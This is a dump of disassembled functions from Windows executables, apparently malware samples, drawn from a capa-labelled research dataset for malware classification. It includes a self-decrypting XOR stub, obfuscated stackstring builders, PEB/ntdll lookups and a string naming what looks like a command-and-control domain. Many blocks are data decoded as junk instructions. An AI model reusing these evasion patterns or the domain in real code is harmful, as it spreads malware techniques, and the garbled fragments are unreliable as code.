joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100067ca
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
and dword [ebp - 4], 0
push esi
push 0x8002
push dword [ebp + 8]
call fcn.1000adcb
mov esi, eax
pop ecx
cmp esi, 0xffffffff
pop ecx
jne 0x100067f7
call fcn.1000adb9
mov eax, dword [eax]
jmp 0x10006891
push edi
push 2
push 0
push esi
call fcn.10011259
mov edi, eax
add esp, 0xc
cmp edi, 0xffffffff
je 0x10006823
cmp edi, 0x11
jl 0x10006886
push 2
push 0xffffffffffffffef
push esi
call fcn.10011259
add esp, 0xc
cmp eax, 0xffffffff
jne 0x1000682c
mov dword [ebp - 4], 5
jmp 0x10006886
lea eax, [ebp - 0x18]
push 0x11
push eax
push esi
call fcn.100103e6
add esp, 0xc
cmp eax, 0x11
jne 0x10006874
lea eax, [ebp - 0x18]
push 8
push eax
push str._AHNEND:_08X_
call fcn.1000b0c0
add esp, 0xc
test eax, eax
jne 0x10006886
add edi, 0xffffffef
push edi
push esi
call fcn.100110db
pop ecx
cmp eax, 0xffffffff
pop ecx
jne 0x10006886
call fcn.1000adb9
mov eax, dword [eax]
mov dword [ebp - 4], eax
jmp 0x10006886
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
dec ecx
and ecx, 4
add ecx, 5
mov dword [ebp - 4], ecx
push esi
call fcn.1000fea9
mov eax, dword [ebp - 4]
pop ecx
pop edi
pop esi
leave
ret

Function at 0x10006ab4
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push esi
xor esi, esi
cmp dword [ebp + 8], esi
push edi
mov dword [ebx], esi
jne 0x10006ace
mov dword [ebx], 0x16
jmp 0x10006b0a
push 0x8000
push dword [ebp + 8]
call fcn.1000adcb
mov edi, eax
pop ecx
cmp edi, 0xffffffff
pop ecx
mov dword [ebp + 8], edi
je 0x10006b01
push 2
push esi
push edi
call fcn.10011259
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
jne 0x10006b0e
push edi
call fcn.1000fea9
pop ecx
call fcn.1000adb9
mov eax, dword [eax]
mov dword [ebx], eax
xor eax, eax
jmp 0x10006b77
push 0
push 0
push edi
call fcn.10011259
lea eax, [esi + 2]
push eax
call fcn.10009019
mov edi, eax
add esp, 0x10
test edi, edi
je 0x10006b54
push esi
push edi
push dword [ebp + 8]
call fcn.100103e6
add esp, 0xc
cmp eax, esi
jne 0x10006b49
and byte [edi + esi], 0
and byte [edi + esi + 1], 0
lea eax, [edi + esi]
jmp 0x10006b5a
call fcn.1000adb9
mov eax, dword [eax]
mov dword [ebx], eax
jmp 0x10006b5a
mov dword [ebx], 0xc
push dword [ebp + 8]
call fcn.1000fea9
cmp dword [ebx], 0
pop ecx
je 0x10006b75
test edi, edi
je 0x10006b75
push edi
call fcn.10008f30
pop ecx
xor edi, edi
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x10006e06
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x10006e41
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x10006e28
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
push esp
and al, 0xc
jb 0x10006e39
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x10006e43
inc edi
add eax, 0x28
cmp edi, esi
jb 0x10006e1e
xor eax, eax
pop edi
pop esi
ret
Function at 0x10007078
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jne 0x10007086
push eax
push esi
push dword [ebp + 8]
call fcn.10006d8b
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x100070b4
adc byte [ebp - 0xaf73], cl
call dword [ecx - 1]
ror byte [ebx - 0x727407bb], 1
push esp
invalid
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.10006dc6
lds esp, [esi + 0x458d18dc]
rcl byte [eax - 0x18], 0xc5
cld
invalid

Function at 0x1000790a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov dh, al
test dword [ecx + edi*8 - 0x39460001], esp
test dword [ebp - 0x6b000007], esp
mov byte [ebp - 0x65a], 0x94
mov byte [ebp - 0x659], 0x97
mov byte [ebp - 0x658], 0x9b
mov byte [ebp - 0x657], 0xf8
lea eax, [ebp - 0x664]
push eax
call fcn.10006dd6
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.10006d8b
add esp, 0xc
mov dword [ebp - 0x67c], eax
and byte [ebp - 0x524], 0
and byte [ebp - 0x523], 0
mov byte [ebp - 0x522], 0x15
and byte [ebp - 0x521], 0
mov byte [ebp - 0x520], 0xa2
mov byte [ebp - 0x51f], 0x8f
mov byte [ebp - 0x51e], 0x8b
mov byte [ebp - 0x51d], 0x9a
mov byte [ebp - 0x51c], 0xac
mov byte [ebp - 0x51b], 0x98
mov byte [ebp - 0x51a], 0x8f
mov byte [ebp - 0x519], 0x8f
mov byte [ebp - 0x518], 0xea
lea eax, [ebp - 0x524]
push eax
call fcn.10006dd6
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.10006d8b
add esp, 0xc
mov dword [ebp - 0x39c], eax
call fcn.10006dc6
movsb byte es:[edi], byte [esi]
push edx
fild dword [eax - 0x5135b]
inc dword [eax]
and byte [ebp - 0x513], 0
mov byte [ebp - 0x512], 0xe3
and byte [ebp - 0x511], 0
mov byte [ebp - 0x510], 0x5b
mov byte [ebp - 0x50f], 0x79
mov byte [ebp - 0x50e], 0x68
mov byte [ebp - 0x50d], 0x5a
mov byte [ebp - 0x50c], 0x75
mov byte [ebp - 0x50b], 0x70
mov byte [ebp - 0x50a], 0x79
mov byte [ebp - 0x509], 0x4f
mov byte [ebp - 0x508], 0x75
mov byte [ebp - 0x507], 0x66
mov byte [ebp - 0x506], 0x79
mov byte [ebp - 0x505], 0x1c
lea eax, [ebp - 0x514]
push eax
call fcn.10006dd6
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.10006d8b
add esp, 0xc
mov dword [ebp - 0x33c], eax
call fcn.10006dc6
invalid
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x403161
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x403161
lcall 0x5de5, 0x8b10c483
jmp loc.00791034

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1002d2f0
Capabilities:
Access peb ldr_data

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007e069
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x1008a8e8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
lea eax, [edi + 8]
mov dword [ebp - 0x14], eax
mov dword [eax], 0
add eax, 4
push eax
call dword [sym.imp.MSDART.DLL_MPInitializeCriticalSection]
mov dword [ebp - 4], 1
lea esi, [edi + 0x10]
mov dword [edi + 4], 0x10002040
push esi
mov dword [edi], 0x10001f18
mov dword [edi + 4], 0x10001f08
call dword [sym.imp.MSDART.DLL_MPInitializeCriticalSection]
add esp, 8
mov dword [esi + 4], 0xffffffff
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov byte [ebp - 4], 2
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0x34], 0
mov dword [edi + 0x38], 0
mov dword [edi + 0x40], 0
mov dword [edi + 0x3c], 0
mov dword [edi + 0x48], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x4c], 0
mov dword [edi + 0x50], 1
mov dword [edi + 0x54], 0
mov dword [edi + 0x44], 0
mov dword [ebp - 4], 3
mov dword [edi], 0x10001548
mov dword [edi + 4], 0x10001538
lock inc dword [0x1008af78]
mov dword [ebp - 4], 0xffffffff
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x1002e780
Capabilities:
Identify system language via api

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1008a8e8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x1008afac]
test eax, eax
jne 0x1002e8d4
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov ecx, 0x3ff
and ax, cx
cmp ax, 9
je 0x1002e800
push 0x800
push 0
push 0x10005dd0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push 1
push eax
mov dword [0x1008afbc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 2
push dword [0x1008afbc]
mov dword [0x1008afb8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 5
push dword [0x1008afbc]
mov dword [0x1008afb4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1008afb0], eax
jmp 0x1002e805
mov eax, dword [0x1008afb0]
cmp dword [0x1008afbc], 0
push esi
je 0x1002e8c4
mov esi, dword [0x1008afb8]
test esi, esi
je 0x1002e8c4
cmp dword [0x1008afb4], 0
je 0x1002e8c4
test eax, eax
je 0x1002e8c4
push 0xffffffffffffffff
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x61
push eax
push 0xffffffffffffffff
push eax
push 0x30001
push 0x800
mov ecx, esi
call dword [0x1008c268]
call esi
test eax, eax
je 0x1002e877
mov eax, 2
mov dword [0x1008afac], eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007c0c0
mov esp, ebp
pop ebp
ret
push dword [0x1008afbc]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
mov dword [0x1008afbc], 0
mov dword [0x1008afb8], 0
mov dword [0x1008afb4], 0
mov dword [0x1008afb0], 0
mov dword [0x1008afac], eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100313b2
mov esp, ebp
pop ebp
ret
mov dword [0x1008afac], 1
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007c0c0
mov esp, ebp
pop ebp
ret
Function at 0x10031f20
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x228
mov eax, dword [0x1008a8e8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x114]
mov byte [ebp - 0x114], 0
push eax
push 0
push 2
push edx
push 0
push ecx
mov dword [esi], 0
mov dword [ebp - 0x228], 0x10e
call dword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
je 0x10031f83
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007c0c0
mov esp, ebp
pop ebp
ret 4
lea ecx, [ebp - 0x224]
call fcn.10031a70
test eax, eax
je 0x10031fb0
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.msvcrt.dll__stricmp]
add esp, 8
neg eax
sbb eax, eax
inc eax
mov dword [esi], eax
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop esi
call fcn.1007c0c0
mov esp, ebp
pop ebp
ret 4

Function at 0x10035ac0
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x1008a8e8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov eax, 4
call fcn.1007c850
mov ebx, esp
lea eax, [ebp - 0x28]
push 0x1c
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x10035b9d
mov esi, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 8], eax
lea edi, [eax - 1]
not edi
and edi, ebx
sub edi, eax
lea eax, [esi + 0x2000]
cmp edi, eax
jb 0x10035b9d
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x10035b9d
add esi, dword [ebp - 0x1c]
test dword [ebp - 0x18], 0x1000
je 0x10035b20
test dword [ebp - 0x14], 0x100
mov esi, dword [ebp - 0x28]
je 0x10035b62
mov eax, 1
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100313b2
mov esp, ebp
pop ebp
ret
cmp edi, esi
jb 0x10035b9d
mov edi, dword [ebp - 8]
push 4
push 0x1000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea eax, [ebp - 0xc]
push eax
push 0x104
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007c0c0
mov esp, ebp
pop ebp
ret
xor eax, eax
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007c0c0
mov esp, ebp
pop ebp
ret
Function at 0x100711e0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100818d8
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x1008a8e8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x18], 0
mov eax, dword [0x10003930]
mov dword [ecx + 0x1c], eax
mov eax, dword [0x10003934]
mov dword [ecx + 0x20], eax
mov eax, dword [0x10003938]
mov dword [ecx + 0x24], eax
mov eax, dword [0x1000393c]
mov dword [ecx + 0x28], eax
mov dword [ecx + 0x2c], 0
mov dword [ecx + 0x30], 0
mov dword [ecx + 0x34], 0
mov dword [ecx + 0x38], 0
mov dword [ebp - 4], 0
mov dword [ecx + 0x3c], 0
mov dword [ecx + 0x40], 0
mov dword [ecx + 0x44], 0
mov dword [ecx + 0x4c], 0
mov dword [ecx + 0x48], 0
mov dword [ecx + 0x50], 0
mov dword [ebp - 4], 0xffffffff
mov eax, ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x1007c580
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x1007c5be
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x1007c5b6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x1007c5c0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x1007c5a6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x1007c690
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x1007c6a6
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x1007c6c1
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x753c6b69
Capabilities:
Encode data using xor

Disassembly:
pop esp
pop ebp
mov esi, 0xff1c6a73
jbe 0x753c6b86
push dword [esi + 0x10]
call 0x753ae4b6
jmp 0x753b2a9e
jo 0x753c6b9c
push dword [eax + 0x10]
call 0x753b1dc1
jmp fcn.753c1d6e
je fcn.753c1dc6
cmp byte [eax + 0x19], 2
jb fcn.753c1dc6
push dword [ebp - 8]
push ebx
push 0x1f
push dword [eax + 0x14]
push dword [eax + 0x10]
call 0x753ae4b6
jmp fcn.753c1dc6

Function at 0x753ddd03
Capabilities:
Encode data using xor

Disassembly:
mov dword [ecx], 0x60ad1bd8
add ecx, 4
mov dword [ecx], 1
jmp 0x753dd4ef
Function at 0x753f251a
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
mov esi, dword [ebp + 8]
mov dword [esi + 0x1c], ebx
mov dword [ebp - 4], ebx
cmp dword [esi], ebx
jbe 0x753f255b
mov dword [ebp + 8], ebx
push edi
mov eax, dword [esi + 4]
add eax, dword [ebp + 8]
mov ecx, dword [eax]
dec ecx
je 0x7540467a
dec ecx
dec ecx
je 0x754048c3
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
add dword [ebp + 8], 0x48
cmp eax, dword [esi]
jb 0x753f2535
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4
adc dh, byte [ebx]
or byte [ecx + 0x2f563afe], bh
push edx
fcomp qword [eax + 0x3b1571ea]
and eax, dword [esp]
cld
add byte [edi - 0x1f], dl
jg 0x754048d3
test byte [ebx], dh
outsd dx, dword [esi]
mov dh, 0xb5
insb byte es:[edi], dx
mov dl, 0xe9
and dword [0x193f2e0], esp
adc ah, byte [eax - 0x183fabdc]
adc bl, byte [0x6ec87b6f]
pop esi
inc eax
push ebx
shl bh, 0xec
fst dword [esp + ebx - 0xf]
add dword ds:[edx - 0x55e0b15a], ebp
mov edx, 0x156f5f0
pop ebp
std
loopne 0x75404908
arpl bp, di
insb byte es:[edi], dx
stosb byte es:[edi], al
js 0x7540484c
aas
sbb dword [edx], 0x73
jno 0x754048d7
push edx
stosd dword es:[edi], eax
lcall 0x342c, 0xf55dc9b2
aaa
fcomp dword [ebx]
mov eax, dword [0xf5f5316e]
jge 0x75404903
inc esi
ljmp 0xfc79
mov cl, 0x35
xlatb
cmp byte [0xa5023055], dl
stc
dec ecx
jmp 0x75404843
mov eax, dword [0x52e005b]
jg 0x754048b6
ja 0x754048f2
movd mm3, dword [ebx - 0x4f596178]
insb byte es:[edi], dx
sbb ebp, esp
mov ebp, 0x46d3934
mov byte [eax + 0x651e789d], bh
xor al, 0x39
insd dword es:[edi], dx
add al, 0x88
mov eax, 0x651e789d
add byte [edx + 0x19961a46], 0x4a
popfd
insb byte es:[edi], dx
scasd eax, dword es:[edi]
retf
xchg edi, eax
pop edi
mov al, 0x80
pop edx
jle 0x7540494a
mov byte [ebx - 0x3cb7fde7], 0xba
inc ebp
add dword [ecx - 0x6b1efb9d], eax
arpl word [ecx], ax
xchg esp, eax
sahf
xor eax, 0x47a8ea75
dec edi
mov bl, 0x72
add al, 9
invalid
pop ecx
pop ebp
pop ds
xor dword [edi + ebx*2], ebx
dec ecx
inc ebp
push ebx
test eax, 0x31f66221
fldcw word [edi + 0x10ee652a]
lodsd eax, dword [esi]
invalid
Function at 0x754630a1
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ecx]
xor ecx, ecx
cmp eax, ecx
jne 0x754a077f
mov eax, 0x12b9b0a5
cmp dword [ebp + 0xc], ecx
jbe 0x754630de
push esi
mov edx, dword [ebp + 8]
movzx edx, byte [ecx + edx]
mov esi, eax
imul esi, esi, 0x820
add edx, esi
mov esi, eax
shr esi, 2
add edx, esi
xor eax, edx
inc ecx
cmp ecx, dword [ebp + 0xc]
jb 0x754630bd
pop esi
and eax, 0x7fffffff
xor edx, edx
div dword [ebp + 0x10]
mov eax, edx
pop ebp
ret 0xc
add byte [ebx], al
add byte [eax], al
add byte [ecx], al
add bh, cl
add byte [esi + 0x21], ah
and word [ebp + ebp*2 + 0x72], sp
pop edi
xor dword [edx], esi
xor byte [esi], ch
jo 0x754a0802
pop edi
bound esi, qword [esi]
xor al, 0x33
cmp byte [edx], dh
xor byte [edx], dh
xor al, 0x62
cmp byte [ebx], dh
bound esi, qword [ecx]
popal
arpl word [eax], di
xor ecx, eax
invalid
out dx, eax
int1
add byte [ebx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [esi + 0x21], ah
and word [edi + 0x6d], si
inc ebp
Function at 0x7546aeb8
Capabilities:
Packed with generic packer

Disassembly:
inc ebx
outsd dx, dword [esi]
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x741cc9bc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
mov ebx, ecx
cmp dword [ebx + 0x38], 0
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x3c], esi
je 0x7546afb1
test esi, esi
jne 0x7546aefe
lea eax, [ebp - 0x34]
push eax
push dword [ebx + 0xc]
call dword [0x7408163c]
lea eax, [ebp - 0x34]
mov dword [ebp - 0x3c], eax
mov esi, eax
mov eax, dword [esi + 8]
sub eax, dword [esi]
test eax, eax
jle 0x7546afb1
mov eax, dword [esi + 0xc]
sub eax, dword [esi + 4]
test eax, eax
jle 0x7546afb1
test edi, edi
je 0x75469392
mov dword [ebp - 0x38], edi
mov eax, dword [ebx + 0xc]
and dword [ebp - 0x40], 0
lea edi, [ebp - 0x24]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push eax
push dword [ebp - 0x38]
movsd dword es:[edi], dword [esi]
push 0x138
push eax
movsd dword es:[edi], dword [esi]
call dword [0x740815c4]
push eax
call dword [0x7408164c]
mov dword [ebp - 0x44], eax
test eax, eax
je 0x7546af5d
push eax
push dword [ebp - 0x38]
call dword [0x74081188]
mov dword [ebp - 0x40], eax
mov esi, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
lea edi, [ebp - 0x14]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor edi, edi
mov dword [ebp - 0x10], eax
cmp dword [ebx + 0x20], edi
jne 0x754693ba
push dword [ebp - 0x44]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x38]
call dword [0x740814b8]
mov eax, dword [ebx + 0x38]
mov esi, dword [ebp - 0x38]
mov ecx, dword [eax]
lea edx, [ebp - 0x24]
push edx
push esi
push eax
call dword [ecx + 0x48]
cmp dword [ebp - 0x44], edi
je 0x7546afa8
push dword [ebp - 0x40]
push esi
call dword [0x74081188]
cmp dword [ebp - 0x48], edi
je 0x754693a3
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call 0x7549a6b0
leave
ret 0xc
Function at 0x100056c6
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100263f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 4], 0
mov eax, 1
test eax, eax
je 0x10005715
mov dword [ebp - 0x1c], 0x4c
push 0x1002a838
lea ecx, [ebp - 0x1c]
push ecx
call fcn.1001fc39
jmp 0x10005734
mov dword [ebp - 4], 0xffffffff
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1002d460
call fcn.10004981
add esp, 4
mov dword [ebp - 0x18], eax
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x18], 0
jne 0x10005766
jmp 0x1000583d
mov dword [ebp - 4], 2
mov edx, 1
test edx, edx
je 0x1000578b
mov dword [ebp - 0x20], 0x51
push 0x1002a838
lea eax, [ebp - 0x20]
push eax
call fcn.1001fc39
jmp 0x100057a6
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x14], 0
jne 0x100057fd
mov dword [ebp - 4], 4
mov eax, 1
test eax, eax
je 0x100057d8
mov dword [ebp - 0x24], 0x33
push 0x1002a838
lea ecx, [ebp - 0x24]
push ecx
call fcn.1001fc39
jmp 0x100057f4
mov dword [ebp - 4], 0xffffffff
jmp 0x1000583d
sub esp, 0x84c
mov ecx, 0x213
mov esi, str.sdxmsdn.icu
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call dword [ebp - 0x14]
cmp dword [ebp - 0x18], 0
je 0x10005835
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x18]
push eax
call fcn.1000542f
add esp, 4
mov dword [ebp - 0x18], 0
push 0
